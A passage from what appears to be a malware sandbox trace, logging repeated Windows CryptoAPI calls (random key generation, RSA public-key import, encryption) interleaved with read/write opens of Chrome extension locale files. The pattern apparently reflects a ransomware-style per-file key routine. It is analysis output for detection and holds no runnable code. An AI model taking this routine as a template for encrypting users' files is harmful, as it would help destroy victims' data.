0x74cb0df0 [0244.544] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.544] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.545] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.547] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785088) returned 1 [0244.547] CryptGetKeyParam (in: hKey=0x6785088, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.547] CryptEncrypt (in: hKey=0x6785088, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc320000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc320000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.547] GetLastError () returned 0x0 [0244.547] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.547] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.549] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785188) returned 1 [0244.549] CryptGetKeyParam (in: hKey=0x6785188, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.549] CryptEncrypt (in: hKey=0x6785188, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc330000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc330000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.550] GetLastError () returned 0x0 [0244.550] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.550] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.551] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.554] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.556] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.556] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.556] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.556] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.558] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.560] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.560] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.560] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.560] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.562] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785508) returned 1 [0244.562] CryptGetKeyParam (in: hKey=0x6785508, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.562] CryptEncrypt (in: hKey=0x6785508, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc340000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc340000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.563] GetLastError () returned 0x0 [0244.563] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.563] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.565] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67853c8) returned 1 [0244.565] CryptGetKeyParam (in: hKey=0x67853c8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.565] CryptEncrypt (in: hKey=0x67853c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc350000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc350000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.565] GetLastError () returned 0x0 [0244.565] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.565] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.566] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.569] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.571] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.571] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.571] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.571] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.573] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.575] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.575] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.575] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.576] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0244.578] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785588) returned 1 [0244.578] CryptGetKeyParam (in: hKey=0x6785588, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.578] CryptEncrypt (in: hKey=0x6785588, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc360000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc360000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.578] GetLastError () returned 0x0 [0244.578] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.578] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.580] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67854c8) returned 1 [0244.580] CryptGetKeyParam (in: hKey=0x67854c8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.580] CryptEncrypt (in: hKey=0x67854c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc370000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc370000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.580] GetLastError () returned 0x0 [0244.580] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.580] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.582] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.585] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.587] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.587] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.587] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.587] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.590] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.592] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.592] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.592] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.592] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.594] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785108) returned 1 [0244.595] CryptGetKeyParam (in: hKey=0x6785108, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.595] CryptEncrypt (in: hKey=0x6785108, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc380000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc380000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.595] GetLastError () returned 0x0 [0244.595] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.595] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.597] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67856c8) returned 1 [0244.597] CryptGetKeyParam (in: hKey=0x67856c8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.597] CryptEncrypt (in: hKey=0x67856c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc390000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc390000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.597] GetLastError () returned 0x0 [0244.597] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.597] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.598] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.601] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.603] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.603] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.603] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.603] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.605] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.607] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.607] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.607] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.608] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.610] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67851c8) returned 1 [0244.610] CryptGetKeyParam (in: hKey=0x67851c8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.610] CryptEncrypt (in: hKey=0x67851c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc3a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc3a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.610] GetLastError () returned 0x0 [0244.610] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.610] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.612] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785208) returned 1 [0244.612] CryptGetKeyParam (in: hKey=0x6785208, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.612] CryptEncrypt (in: hKey=0x6785208, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc3b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc3b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.612] GetLastError () returned 0x0 [0244.612] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.612] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.614] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0244.617] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.619] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.619] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.619] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.619] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0244.622] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.624] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.624] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.624] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.624] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.626] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785248) returned 1 [0244.626] CryptGetKeyParam (in: hKey=0x6785248, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.626] CryptEncrypt (in: hKey=0x6785248, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc3c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc3c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.626] GetLastError () returned 0x0 [0244.626] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.626] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.628] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67852c8) returned 1 [0244.628] CryptGetKeyParam (in: hKey=0x67852c8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.628] CryptEncrypt (in: hKey=0x67852c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc3d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc3d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.628] GetLastError () returned 0x0 [0244.628] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.628] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.629] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.632] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.634] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.634] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.634] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.634] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.636] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.638] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.638] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.638] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.639] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.641] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785608) returned 1 [0244.641] CryptGetKeyParam (in: hKey=0x6785608, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.641] CryptEncrypt (in: hKey=0x6785608, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc3e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc3e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.641] GetLastError () returned 0x0 [0244.641] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.641] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0244.643] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785308) returned 1 [0244.643] CryptGetKeyParam (in: hKey=0x6785308, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.643] CryptEncrypt (in: hKey=0x6785308, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc3f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc3f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.643] GetLastError () returned 0x0 [0244.643] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.643] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.645] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.648] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.649] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.649] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.649] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.650] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0244.652] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.654] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.654] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.654] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.654] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.656] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, 